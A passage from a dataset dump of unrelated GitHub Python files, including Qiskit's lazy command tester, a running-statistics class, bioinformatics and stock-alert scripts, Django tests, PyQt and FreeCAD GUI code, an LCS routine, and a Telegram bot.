command will only be run once, at\n    the point that this object is checked for its Boolean value.\n    \"\"\"\n\n    __slots__ = (\"_command\",)\n\n    def __init__(\n        self,\n        command: Union[str, Iterable[str]],\n        *,\n        name: Optional[str] = None,\n        callback: Optional[Callable[[bool], None]] = None,\n        install: Optional[str] = None,\n        msg: Optional[str] = None,\n    ):\n        \"\"\"\n        Args:\n            command: the strings that make up the command to be run.  For example,\n                ``[\"pdflatex\", \"-version\"]``.\n\n        Raises:\n            ValueError: if an empty command is given.\n        \"\"\"\n        self._command = (command,) if isinstance(command, str) else tuple(command)\n        if not self._command:\n            raise ValueError(\"no command supplied\")\n        super().__init__(name=name or self._command[0], callback=callback, install=install, msg=msg)\n\n    def _is_available(self):\n        try:\n            subprocess.run(\n                self._command, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL\n            )\n        except (OSError, subprocess.SubprocessError):\n            return False\n        else:\n            return True\n","repo_name":"Qiskit/qiskit","sub_path":"qiskit/utils/lazy_tester.py","file_name":"lazy_tester.py","file_ext":"py","file_size_in_byte":12188,"program_lang":"python","lang":"en","doc_type":"code","stars":4020,"dataset":"github-code","pt":"22"}
+{"seq_id":"398604690","text":"from __future__ import division, absolute_import\nimport numpy as np\n\n\nclass Statistics():\n    '''\n    Class for calculating running statistics\n    that enables more than one value to be filled in at a time\n\n    algorithms are taken from:\n    http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance#Parallel_algorithm\n    '''\n    def __init__(self):\n        self._n = 0\n        self._mean = 0\n        self._M2 = 0\n        self._M3 = 0\n        self._M4 = 0\n\n    def fill(self, values):\n        '''\n        update the Statistics with the new data in values\n\n        notation follows Wikipedia: https://goo.gl/s7Dj19\n        '''\n        B = np.array(values, copy=False, ndmin=1)\n\n        n = len(B)\n        mean = B.mean()\n        M2 = np.sum((B - mean) ** 2)\n        M3 = np.sum((B - mean) ** 3)\n        M4 = np.sum((B - mean) ** 4)\n\n        self.update_from_moments(n, mean, M2, M3, M4)\n\n    def update_from_moments(self, n, mean, M2, M3, M4):\n        n_A = self._n\n        mean_A = self._mean\n        M2_A = self._M2\n        M3_A = self._M3\n        M4_A = self._M4\n\n        n_B = n\n        mean_B = mean\n        M2_B = M2\n        M3_B = M3\n        M4_B = M4\n\n        n_X = n_A + n_B\n        delta = mean_B - mean_A\n        delta_per_n = delta / n_X\n\n        self._n = n_X\n        self._mean = (n_A * mean_A + n_B * mean_B) / n_X\n        self._M2 = M2_A + M2_B + delta * delta_per_n * n_A * n_B\n\n        self._M3 = (\n            M3_A + M3_B +\n            delta * delta_per_n**2 * n_A * n_B * (n_A - n_B) +\n            3 * delta_per_n * (n_A * M2_B - n_B * M2_A)\n        )\n\n        self._M4 = (\n            M4_A + M4_B +\n            delta * delta_per_n**3 * n_A * n_B * (n_A**2 - n_A*n_B + n_B**2) +\n            6 * delta_per_n**2 * (n_A**2 * M2_B + n_B**2 * M2_A) +\n            4 * delta_per_n * (n_A * M3_B - n_B * M3_A)\n        )\n\n    def update(self, other):\n        ''' Update the Statistics object with another statistics object '''\n        self.update_from_moments(other._n, other._mean, other._M2, other._M3, other._M4)\n\n    @classmethod\n    def combine(cls, iterable):\n        s = cls()\n\n        for other in iterable:\n            s.update(other)\n\n        return s\n\n    def __len__(self):\n        return self._n\n\n    @property\n    def mean(self):\n        return self._mean\n\n    @property\n    def var(self):\n        if self._n < 2:\n            return np.nan\n        return self._M2 / (self._n - 1)\n\n    @property\n    def std(self):\n        return np.sqrt(self.var)\n\n    @property\n    def skewness(self):\n        return np.sqrt(self._n) * self._M3 / (self._M2 ** 1.5)\n\n    @property\n    def kurtosis(self):\n        return self._n * self._M4 / (self._M2 ** 2) - 3\n\n    def __repr__(self):\n        if self._n >= 1e5:\n            entries = '{: .4g}'.format(float(self._n))\n        else:\n            entries = '{: 5d}'.format(self._n)\n\n        r = self.__class__.__name__ + '(\\n'\n        r += '  Entries: ' + entries + '\\n'\n        r += '  Mean:     {:.4g} \\n'.format(self.mean)\n        r += '  StdDev:   {:.4g}'.format(self.std)\n        r += '\\n)'\n\n        return r\n","repo_name":"maxnoe/python-runningstats","sub_path":"runningstats/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23949874627","text":"import os\n\nindir = \"/mnt/Disc4T/Projects/Cristina_ChIP_All/Data/New_Coverage/New_Peaks/\"\nmacs2_files = [f for f in os.listdir(indir) if f.endswith(\".narrowPeak\")]\nmacs2_files = ['NF54_Macspeaks_peaks.narrowPeak', 'E5K9_Macspeaks_peaks.narrowPeak']\n\ndef narrowPeak_to_bed(macs2file):\n    with open(macs2file, \"r+\") as infile:\n        outfile = macs2file.replace(\".narrowPeak\", \".bed\")\n        with open(outfile, \"w+\") as output:\n            for line in infile:\n                linelist = line.strip().split(\"\\t\")\n                bedlist = linelist[0:3]+[linelist[6]]\n                output.write(\"\\t\".join(bedlist)+\"\\n\")\n\nfor f in macs2_files:\n    fl = indir+f\n    narrowPeak_to_bed(fl)\n","repo_name":"LucasMichelTodo/PhD_Project_Scripts","sub_path":"Scripts/macs2_to_bed.py","file_name":"macs2_to_bed.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70882642615","text":"# include date n send massage\n\nfrom sending_sms import send_massage\nfrom stock_price_data import get_stock_prc\nfrom news_data import get_news_data\n\nSTOCK = \"TSLA\"\nCOMPANY_NAME = \"Tesla\"\n\nprice_change = get_stock_prc(symbol=STOCK)\nnewss = get_news_data(keyword=COMPANY_NAME)\nstatus = \"UP\" if price_change > 0 else \"DOWN\"\nfor news in newss:\n    massage = f\"{COMPANY_NAME.upper()} : {status} {abs(price_change)} \\n{news}\"\n    print(massage)\n    send_massage(massage=massage, to_num=RECIVERS_MOBILE_NUMBER)\n","repo_name":"Harinder441/Python-Stock-Watchdog","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37519125104","text":"from django.core.management import call_command\n\nimport pytest\nfrom freezegun import freeze_time\n\n\n@pytest.mark.django_db\nclass TestSendRemindersCommand:\n    def test_send_reminder_nothing_to_send(self, caplog):\n        call_command(\"send_reminders\")\n        assert \"No reminders to send today.\" in caplog.text\n\n    @freeze_time(\"2021-09-09\")\n    def test_send_reminder(self, caplog, test_reminder):\n        call_command(\"send_reminders\")\n        assert \"Sending reminder to test@example.com\" in caplog.text\n\n    @freeze_time(\"2021-09-09\")\n    def test_send_reminder_no_email_found(self, caplog, test_reminder_with_no_email):\n        call_command(\"send_reminders\")\n        user_id = test_reminder_with_no_email.birthday_person.user.pk\n        assert f\"Could not send a reminder to user {user_id}: missing email address.\" in caplog.text\n","repo_name":"rodgomes/drf-quickstart","sub_path":"src/tests/send_reminders_test.py","file_name":"send_reminders_test.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"38210707968","text":"import json\nimport os\nimport subprocess\nimport sys\n\nimport requests\nfrom PyQt5.QtCore import *\nfrom PyQt5 import QtCore\nfrom PyQt5.QtWidgets import QApplication\n\nfrom Model import Model\nfrom View import View\n\n\nclass Controller:\n\n    def run(self):\n        app = QApplication(sys.argv)\n        self.createDummy = False\n        self.view = View()\n        self.connectViewActions()\n        self.model = Model()\n        self.testServiceConnection()\n        sys.exit(app.exec_())\n\n    def connectViewActions(self):\n        self.view.openFileMenuBtn.triggered.connect(self.openFile)\n        self.view.addTag_button.clicked.connect(self.addTagAction)\n        self.view.deleteTag_button.clicked.connect(self.deleteTagAction)\n        self.view.fileList_Widget.doubleClicked.connect(self.loadFile)\n        self.view.saveFileMenuBtn.triggered.connect(self.save)\n        self.view.dumpRulesMenuBtn.triggered.connect(self.dumpRules)\n\n    def testServiceConnection(self):\n        try:\n            input = {}\n            input[\"wordList\"] = [\"a\"]\n            json_data = json.dumps(input, ensure_ascii=False)\n            r = requests.post(\"http://ddil.isikun.edu.tr/syneditws/\", json_data.encode('utf-8'), timeout=10)\n            response = r.json()\n        except :\n            self.view.showWarning(\"Analyzer server is offline.\")\n\n    def dumpRules(self):\n        self.model.generateRuleStats()\n\n    #combobox->itemData(combobox->currentIndex())\n\n    def save(self):\n        indexList = self.view.gView.groupIndex_list\n        print(indexList)\n        if len(indexList[0]) != 0:\n            self.model.updateIndexes(indexList)\n            self.model.roots.clear()\n            self.generateTreeModel()\n            self.model.saveToFile()\n            self.model.saveConfig()\n            i,s = self.model.get_current_file_status()\n            self.view.updateFileStatus(i, s)\n\n    def generateTreeModel(self):\n        self.model.roots.clear()\n        for n in self.view.gView.group_list:\n            tag = n.labelWidget.currentText()\n            data = n.getSelectedLabels()\n            currentRoot = self.model.addRoot(tag, data=data)\n            self.generateTreeModelRec(n, currentRoot)\n\n    def generateTreeModelRec(self, viewNode, modeNode):\n        for c in viewNode.children:\n            childLabel = c[1].labelWidget.currentText()\n            childData = c[1].getSelectedLabels()\n            modelChild = modeNode.addChild(childLabel, data=childData)\n            self.generateTreeModelRec(c[1], modelChild)\n\n\n    def loadTagList(self):\n        for t in self.model.ntList:\n            self.view.addToTagList(t)\n\n    def addTagAction(self):\n        added = self.view.addTag()\n        self.updateFileStatus(added, mode=1)\n\n    def deleteTagAction(self):\n        deletedNT = self.view.deleteTag()\n        self.updateFileStatus(deletedNT)\n\n    def updateFileStatus(self, nt, mode=0):\n        for fIndex in range(len(self.model.fileList)):\n            if mode == 0 and nt in self.model.fileList[fIndex][2]:\n                self.model.fileList[fIndex][1] = \"3\"\n                print(self.model.fileList[fIndex])\n                self.view.updateFileStatus(fIndex, \"3\")\n            elif mode == 1 and nt in self.model.fileList[fIndex][2]:\n                self.model.fileList[fIndex][1] = \"1\"\n                print(self.model.fileList[fIndex])\n                self.view.updateFileStatus(fIndex, \"1\")\n\n    def loadFileList(self):\n        for i in self.model.fileList:\n            self.view.addToFileList(i)\n\n    @QtCore.pyqtSlot(\"QModelIndex\")\n    def loadFile(self, selectedIndex):\n        selectedItem = self.view.fileList_ListModel.item(selectedIndex.row())\n        self.save()\n        self.view.gView.clearScene()\n        self.model.clearModel()\n        self.model.loadFile(self.model.folderPath + \"/\" + selectedItem.text())\n        self.loadContent()\n        for t_index in range(len(self.model.tokens)):\n            self.view.gView.groupIndex_list[t_index] = self.model.tokens[t_index].groupIndex\n        for t in self.model.tokens:\n            start = 0\n            for end in t.groupIndex:\n                self.view.gView.createGroupByIndex(self.model.tokens.index(t), start, end, anim=False)\n                start = end + 1\n        if len(self.model.roots) > 0:\n            for r in self.model.roots:\n                self.model2view_tree(r)\n\n    def openFile(self):\n        filePath = self.view.showFileDialog()\n        self.model.loadModel(filePath)\n        self.loadTagList()\n        self.loadFileList()\n        self.loadContent()\n        for t_index in range(len(self.model.tokens)):\n            self.view.gView.groupIndex_list[t_index] = self.model.tokens[t_index].groupIndex\n        for t in self.model.tokens:\n            start = 0\n            for end in t.groupIndex:\n                self.view.gView.createGroupByIndex(self.model.tokens.index(t), start, end, anim=False)\n                start = end + 1\n        if len(self.model.roots) > 0:\n            for r in self.model.roots:\n                self.model2view_tree(r)\n\n\n    def model2view_tree(self, node):\n        childView_list = list()\n        for c in node.children:\n            if len(c.children) == 0:\n                leafView = self.view.gView.findLeaf(c)\n                if leafView is None:\n                    print(\"Not Found\")\n                    break\n                childView_list.append(leafView)\n            else:\n                childView = self.model2view_tree(c)\n                childView_list.append(childView)\n        nodeView = self.view.gView.createParentFromModel(childView_list, node.label)\n        return nodeView\n\n\n    def loadContent(self):\n        tokenMenu_list = self.view.gView.initializeTokens(self.model.getTokenStrings())\n        for token_index in range(0,len(tokenMenu_list)):\n            menu = tokenMenu_list[token_index]\n            token = self.model.tokens[token_index]\n            anl_index = 0\n            for anl in token.allAlayses:\n                act = menu.addAction(anl[0].replace(\"-\",\"\"), self.selectAnalysis)\n                act.setProperty(*(\"token_id\", token_index))\n                act.setProperty(*(\"analysis_id\", anl_index))\n                anl_index += 1\n\n    def selectAnalysis(self):\n        self.view.gView.tokenAnimations.clear()\n        action = self.view.sender()\n        token_id = action.property(\"token_id\")\n        anlysis_id = action.property(\"analysis_id\")\n        surface, abstract = self.model.selectAnalysis(token_id, anlysis_id)\n\n        self.view.gView.updateTokens(token_id, surface, abstract)\n        self.view.gView.tokenAnimations.start()\n        #self.view.moveElement(self.view.tokenLabel_list[token_id],300,100)\n\nController().run()","repo_name":"berkeozenc/SynEdit","sub_path":"Controller.py","file_name":"Controller.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35289080220","text":"#***************************************************************************\r\n#*                                                                         *\r\n#*   Copyright (c) 2011, 2016                                              *\r\n#*   Jose Luis Cercos Pita <jlcercos@gmail.com>                            *\r\n#*                                                                         *\r\n#*   This program is free software; you can redistribute it and/or modify  *\r\n#*   it under the terms of the GNU Lesser General Public License (LGPL)    *\r\n#*   as published by the Free Software Foundation; either version 2 of     *\r\n#*   the License, or (at your option) any later version.                   *\r\n#*   for detail see the LICENCE text file.                                 *\r\n#*                                                                         *\r\n#*   This program is distributed in the hope that it will be useful,       *\r\n#*   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\r\n#*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\r\n#*   GNU Library General Public License for more details.                  *\r\n#*                                                                         *\r\n#*   You should have received a copy of the GNU Library General Public     *\r\n#*   License along with this program; if not, write to the Free Software   *\r\n#*   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  *\r\n#*   USA                                                                   *\r\n#*                                                                         *\r\n#***************************************************************************\r\n\r\nimport FreeCAD as App\r\nimport FreeCADGui as Gui\r\nfrom FreeCAD import Units\r\nfrom PySide import QtGui, QtCore\r\nfrom .. import Ship_rc\r\nfrom ..shipUtils import Selection\r\n\r\n\r\nclass TaskPanel:\r\n    def __init__(self):\r\n        \"\"\"Constructor\"\"\"\r\n        self.name = \"ship mesh association\"\r\n        self.ui = \":/ui/TaskPanel_seakeepingSetMesh.ui\"\r\n        self.form = Gui.PySideUic.loadUi(self.ui)\r\n\r\n    def accept(self):\r\n        \"\"\"Create the ship instance\"\"\"\r\n        ship = self.ships[self.form.ship.currentIndex()]\r\n        ship.Mesh = [self.mesh.Name]\r\n        self.mesh.Visibility = False\r\n        return True\r\n\r\n    def reject(self):\r\n        \"\"\"Cancel the job\"\"\"\r\n        return True\r\n\r\n    def clicked(self, index):\r\n        pass\r\n\r\n    def open(self):\r\n        pass\r\n\r\n    def needsFullSpace(self):\r\n        return True\r\n\r\n    def isAllowedAlterSelection(self):\r\n        return False\r\n\r\n    def isAllowedAlterView(self):\r\n        return True\r\n\r\n    def isAllowedAlterDocument(self):\r\n        return False\r\n\r\n    def helpRequested(self):\r\n        pass\r\n\r\n    def setupUi(self):\r\n        \"\"\"Create and configurate the user interface\"\"\"\r\n        self.form.ship = self.widget(QtGui.QComboBox, \"ship\")\r\n        if self.initValues():\r\n            return True\r\n\r\n    def getMainWindow(self):\r\n        toplevel = QtGui.QApplication.topLevelWidgets()\r\n        for i in toplevel:\r\n            if i.metaObject().className() == \"Gui::MainWindow\":\r\n                return i\r\n        raise Exception(\"No main window found\")\r\n\r\n    def widget(self, class_id, name):\r\n        \"\"\"Return the selected widget.\r\n\r\n        Keyword arguments:\r\n        class_id -- Class identifier\r\n        name -- Name of the widget\r\n        \"\"\"\r\n        mw = self.getMainWindow()\r\n        form = mw.findChild(QtGui.QWidget, \"TaskPanel\")\r\n        return form.findChild(class_id, name)\r\n\r\n    def initValues(self):\r\n        \"\"\"Setup the initial values\"\"\"\r\n        # Ensure that there are at least one valid object to generate the\r\n        # weight\r\n        sel_meshes = Selection.get_meshes()\r\n        if not sel_meshes:\r\n            msg = App.Qt.translate(\r\n                \"ship_tank\",\r\n                \"Please, select a mesh before executing this tool\")\r\n            App.Console.PrintError(msg + '\\n')\r\n            return True\r\n        self.mesh = sel_meshes[0]\r\n        if len(sel_meshes) > 1:\r\n            msg = App.Qt.translate(\r\n                \"ship_console\",\r\n                \"More than one mesh have been selected (just the one labelled\"\r\n                \" '{}' is considered)\".format(self.mesh.Label))\r\n            App.Console.PrintWarning(msg + '\\n')\r\n        # Ensure as well that exist at least one valid ship to create the\r\n        # entity inside it\r\n        self.ships = Selection.get_doc_ships()\r\n        if not self.ships:\r\n            msg = App.Qt.translate(\r\n                \"seakeeping_setmesh\",\r\n                \"There are not ship objects to attach meshes\")\r\n            App.Console.PrintError(msg + '\\n')\r\n            return True\r\n\r\n        # Fill the ships combo box\r\n        icon = QtGui.QIcon(QtGui.QPixmap(\":/icons/Ship_Instance.svg\"))\r\n        self.form.ship.clear()\r\n        for ship in self.ships:\r\n            self.form.ship.addItem(icon, ship.Label)\r\n        self.form.ship.setCurrentIndex(0)\r\n        return False\r\n\r\n\r\ndef createTask():\r\n    panel = TaskPanel()\r\n    Gui.Control.showDialog(panel)\r\n    if panel.setupUi():\r\n        Gui.Control.closeDialog()\r\n        return None\r\n    return panel\r\n","repo_name":"FreeCAD/freecad.ship","sub_path":"freecad/ship/seakeepingSetMesh/TaskPanel.py","file_name":"TaskPanel.py","file_ext":"py","file_size_in_byte":5220,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"22"}
+{"seq_id":"72886118455","text":"import logging\nimport re\nimport tempfile\nfrom operator import xor\nfrom pathlib import Path\nfrom typing import Optional, Tuple\n\nimport wandb\nfrom omegaconf import DictConfig\nfrom wandb.apis.public import Run\n\nfrom nn_core.common import PROJECT_ROOT\nfrom nn_core.common.utils import environ\nfrom nn_core.serialization import NNCheckpointIO\n\npylogger = logging.getLogger(__name__)\n\nRUN_PATH_PATTERN = re.compile(r\"^([^/]+)/([^/]+)/([^/]+)$\")\n\nRESUME_MODES = {\n    None: {\n        \"logging\": False,\n        \"trainer\": False,\n        \"weights\": False,\n    },\n    \"finetune\": {\n        \"logging\": False,\n        \"trainer\": False,\n        \"weights\": True,\n    },\n    \"hotstart\": {\n        \"logging\": False,\n        \"trainer\": True,\n        \"weights\": True,\n    },\n    \"continue\": {\n        \"logging\": True,\n        \"trainer\": True,\n        \"weights\": True,\n    },\n}\n\n\ndef resolve_ckpt(ckpt_or_run_path: str) -> str:\n    \"\"\"Resolve the run path or ckpt to a checkpoint.\n\n    Args:\n        ckpt_or_run_path: run identifier or checkpoint path\n\n    Returns:\n        an existing path towards the best checkpoint\n    \"\"\"\n    if RUN_PATH_PATTERN.match(ckpt_or_run_path):\n        # If WANDB_DIR is set (as it is the case with our hydra configuration), the run dir is created by wandb in the\n        # project's root folder instead of in a temp directory.\n        with tempfile.TemporaryDirectory() as tmp_dir, environ(WANDB_DIR=tmp_dir):\n            # We are resolving the path from a wandb run id\n            try:\n                api = wandb.Api()\n                run: Run = api.run(path=ckpt_or_run_path)\n                ckpt_or_run_path = run.config[\"paths/checkpoints/best\"]\n                return ckpt_or_run_path\n            except wandb.errors.CommError:\n                raise ValueError(f\"Checkpoint or run not found: {ckpt_or_run_path}\")\n\n    _ckpt_or_run_path: Path = Path(ckpt_or_run_path)\n    # If the path is relative, it is wrt the PROJECT_ROOT, so it is prepended.\n    if not _ckpt_or_run_path.is_absolute():\n        _ckpt_or_run_path = PROJECT_ROOT / _ckpt_or_run_path\n\n    if _ckpt_or_run_path.exists():\n        return ckpt_or_run_path\n\n\ndef resolve_run_path(ckpt_or_run_path: str) -> str:\n    \"\"\"Resolve the run path or ckpt to a run path.\n\n    Args:\n        ckpt_or_run_path: run identifier or checkpoint path\n\n    Returns:\n        an wandb run path identifier\n    \"\"\"\n    if RUN_PATH_PATTERN.match(ckpt_or_run_path):\n        return ckpt_or_run_path\n\n    try:\n        return NNCheckpointIO.load(path=Path(ckpt_or_run_path))[\"run_path\"]\n    except FileNotFoundError:\n        raise ValueError(f\"Checkpoint or run not found: {ckpt_or_run_path}\")\n\n\ndef resolve_run_version(ckpt_or_run_path: Optional[str] = None, run_path: Optional[str] = None) -> str:\n    \"\"\"Resolve the run path or ckpt to the wandb run version.\n\n    Args:\n        ckpt_or_run_path: run identifier or checkpoint path\n        run_path: the run path if already available\n\n    Returns:\n        a wandb run version\n    \"\"\"\n    if run_path is None:\n        run_path = resolve_run_path(ckpt_or_run_path)\n    return RUN_PATH_PATTERN.match(run_path).group(3)\n\n\n# TODO: Refactor returning type to include restore mode too.\ndef parse_restore(restore_cfg: DictConfig) -> Tuple[Optional[str], Optional[str]]:\n    if restore_cfg is None:\n        return None, None\n\n    ckpt_or_run_path = restore_cfg.ckpt_or_run_path\n    resume_mode = restore_cfg.mode\n\n    resume_ckpt_path = None\n    resume_run_version = None\n\n    if xor(bool(ckpt_or_run_path), bool(resume_mode)):\n        pylogger.warning(f\"Inconsistent resume modality {resume_mode} and checkpoint path '{ckpt_or_run_path}'\")\n    else:\n        pylogger.info(f\"Restoring with mode: <{resume_mode}>\")\n\n    if resume_mode not in RESUME_MODES:\n        message = f\"Unsupported resume mode {resume_mode}. Available resume modes are: {RESUME_MODES}\"\n        pylogger.error(message)\n        raise ValueError(message)\n\n    flags = RESUME_MODES[resume_mode]\n\n    if ckpt_or_run_path is not None:\n        resume_ckpt_path = resolve_ckpt(ckpt_or_run_path)\n        pylogger.info(f\"Resolved checkpoint path: '{resume_ckpt_path}'\")\n\n        if flags[\"logging\"]:\n            run_path = resolve_run_path(ckpt_or_run_path)\n            resume_run_version = resolve_run_version(run_path=run_path)\n            pylogger.info(f\"Resume logging to: '{run_path}'\")\n\n    return resume_ckpt_path, resume_run_version\n","repo_name":"grok-ai/nn-template-core","sub_path":"src/nn_core/resume.py","file_name":"resume.py","file_ext":"py","file_size_in_byte":4398,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"22"}
+{"seq_id":"36728356562","text":"from nltk.corpus import stopwords\nimport math\nimport pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n\n\ndef get_frequency(array_of_texts) :\n    \n    vectorizer = TfidfVectorizer()\n    vectors = vectorizer.fit_transform(array_of_texts)\n    names = vectorizer.get_feature_names()\n    data = vectors.todense().tolist()\n    df = pd.DataFrame(data, columns=names)\n    df = df[filter(lambda x: x not in stopwords.words('spanish') , df.columns)]\n\n    N = 10\n    return_array = []\n    for i in df.iterrows():\n        return_array.append(i[1].sort_values(ascending=False)[:N])\n    return return_array\n    \n\n\ndef verify_title(title, words) :\n    words = [word.lower() for word in words]\n    return title and any(element in words for element in title.lower().split(' '))","repo_name":"sr1871/deltai","sub_path":"deltai/frequency.py","file_name":"frequency.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15831228756","text":"from random import randrange\nplayer_lista = []\nbroj = 1\nfor i in range(7):\n    if broj == 0:\n        break\n    broj = int(input(\"Unesi broj izmedu 1 i 39: \"))\n    if broj == 0:\n        break\n    while (broj < 1 or broj > 39) or (broj in player_lista):\n        print(\"pogresan unos probajte ponovno.\")\n        broj = int(input(\"Unesi broj izmedu 1 i 39: \"))\n        if broj == 0:\n            break\n    player_lista.append(broj)\n\ndef izvlacenje_brojeva():\n    izvucena_lista = []\n    for i in range(7):\n        izvucena_lista.append(randrange(1,40))\n    return izvucena_lista\n\ndef usporedi(lista1, lista2):\n    brj = 0\n    for i in range(len(lista1)):\n        if lista1[i] in lista2:\n            brj += 1\n    return brj\n\nif usporedi(player_lista, izvlacenje_brojeva()) == 7:\n    print(\"JACKPOT\")\nelse:\n    print(f\"{usporedi(player_lista, izvlacenje_brojeva())} je broj pogodenih brojeva\")\n","repo_name":"skontrafaks/osnove-programiranja-domaci","sub_path":"All_Domaci/Vjezba_11_Andrija_Skontra/vjezba11_zd06.py","file_name":"vjezba11_zd06.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"bs","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"72253555577","text":"import sys\r\n\r\ndef traceOptimalRoute(s1, s2, mem):\r\n    i = 0\r\n    j = 0\r\n    while(i < len(s1) and j < len(s2)):\r\n        if(s1[i] == s2[j]): \r\n            print(s1[i], end='')\r\n            i += 1\r\n            j += 1\r\n        elif(mem[i][j+1] > mem[i+1][j]):\r\n            j += 1\r\n        else:\r\n            i += 1\r\n    print()\r\n            \r\n#TC:Theta(mn)   SC:Theta(mn)\r\ndef longComSubseq(s1, s2):\r\n    n = len(s1)\r\n    m = len(s2)\r\n    mem = [[0]*(m+1) for i in range(n+1)]\r\n    \r\n    for i in range(0, n+1):\r\n        mem[i][m] = 0\r\n    for j in range(0, m+1):\r\n        mem[n][j] = 0\r\n        \r\n    for i in range(n-1, -1, -1):\r\n        for j in range(m-1, -1, -1):\r\n            if(s1[i] == s2[j]):\r\n                mem[i][j] = 1 + mem[i+1][j+1]\r\n            else:\r\n                mem[i][j] = max(mem[i][j+1], mem[i+1][j])\r\n    print(mem)\r\n    traceOptimalRoute(s1, s2, mem)\r\n    return mem[0][0]\r\n\r\ndef main():\r\n    print(sys.argv[1])\r\n    print(sys.argv[2])\r\n    print(longComSubseq(sys.argv[1], sys.argv[2]))\r\n    \r\nif __name__==\"__main__\":\r\n    main()\r\n","repo_name":"algorithmica-repository/SCIS-TOP20ADV-PYTHON","sub_path":"string optimization problems-II/longest common subsequence.py","file_name":"longest common subsequence.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"33428272544","text":"import logging\nimport re\nfrom aiogram import types\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup, ReplyKeyboardRemove\nfrom aiogram.utils.executor import start_webhook\nfrom service_bot import states\nfrom service_bot.states import ChatMode\nfrom config import service_bot, dp, client_bot, WEBHOOK_URL, WEBHOOK_PATH, WEBAPP_HOST, WEBAPP_PORT\n\n\n\n@dp.message_handler(commands=[\"start\"])\nasync def start(message: types.Message, state: FSMContext):\n    markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n    exit_but = types.KeyboardButton(\"Вийти з чату\")\n    discuss_salary = types.KeyboardButton(\"Підтвердити ціну\")\n    markup.add(exit_but, discuss_salary)\n    if len(message.text) > 7:\n        await ChatMode.event.set()\n        await ChatMode.ChatId.set()\n        chat_id, event_id = re.match(r'^/start test(\\d*)_e(\\d+)$', message.text).groups()\n        await message.answer(\n            f\"Ласкаво просимо, {message.from_user.first_name}\"\n            f\" {message.from_user.last_name}!\"\n        )\n        await message.answer(\n            'Війшли в режим чату, напишіть ваше повідомлення',\n            reply_markup=markup\n            )\n        async with state.proxy() as data:\n            data['ChatId'] = chat_id\n            data['event'] = event_id\n    else:\n        await message.answer(\n            f\"Ласкаво просимо, {message.from_user.first_name}\"\n            f\" {message.from_user.last_name}!\"\n        )\n\n\n\n\n@dp.message_handler(state=ChatMode.ChatId)\nasync def state_chatid(message: types.Message, state: FSMContext):\n    markup = InlineKeyboardMarkup()\n    async with state.proxy() as data:\n        chat_id = data.get('ChatId')\n    if message.text == 'Вийти з чату':\n        await state.finish()\n        return await message.answer('Ви завершили розмову', reply_markup=ReplyKeyboardRemove(True))\n    if message.text == 'Підтвердити ціну':\n        await message.answer(\"Підтвердіть ціну, написавши її тільки цифрами(Приклад: 100)\")\n        return await states.ChatMode.price.set()\n    else:\n        reply_button = InlineKeyboardButton('Відповісти', callback_data=f'user_id{message.from_user.id}')\n        markup.add(reply_button)\n        mess = f'Вам надійшло повідомлення (Якщо бажаєте працювати з даною людиною натисніть ' \\\n               f'\"Відповісти\", якщо ні, то проігноруйте. Домовтесь про ціну, після чого ' \\\n               f'робітник натисне клавішу \"Підтвердити ціну\" і' \\\n               f' ви зможете оплатити роботу):\\n\\n{message.text} \\n\\nВід: @{message.from_user.username}'\n        await client_bot.send_message(\n            chat_id,\n            mess,\n            reply_markup=markup\n        )\n\n\n@dp.message_handler(state=states.ChatMode.price)\nasync def price_state(message: types.Message, state: FSMContext):\n    async with state.proxy() as data:\n        data['price'] = message.text\n    async with state.proxy() as data:\n        chat_id = data.get('ChatId')\n        price = data.get('price')\n        event_id = data.get('event')\n    markup = InlineKeyboardMarkup()\n    user = message.from_user.username\n    yes_button = InlineKeyboardButton('Так', callback_data=f'yes_price{user}_e{price}_i{event_id}')\n    markup.add(yes_button)\n    await states.ChatMode.ChatId.set()\n    return await client_bot.send_message(\n        chat_id,\n        f'Для підтвердження ціни натисність <b>Так</b>:'\n        f'\\n\\n{price} \\n\\nВід: @{message.from_user.username}',\n        reply_markup=markup,\n        parse_mode='html'\n    )\n\n\nasync def on_startup(dp):\n    await service_bot.set_webhook(WEBHOOK_URL, drop_pending_updates=True)\n\n\n\nasync def on_shutdown(dp):\n    logging.warning('Shutting down..')\n    await service_bot.delete_webhook()\n    await dp.storage.close()\n    await dp.storage.wait_closed()\n    logging.warning('Bye!')\n\nprint(WEBHOOK_PATH)\n\nif __name__ == '__main__':\n    logging.basicConfig(level=logging.INFO)\n    start_webhook(\n        dispatcher=dp,\n        webhook_path=WEBHOOK_PATH,\n        skip_updates=True,\n        on_startup=on_startup,\n        on_shutdown=on_shutdown,\n        host=WEBAPP_HOST,\n        port=WEBAPP_PORT,\n    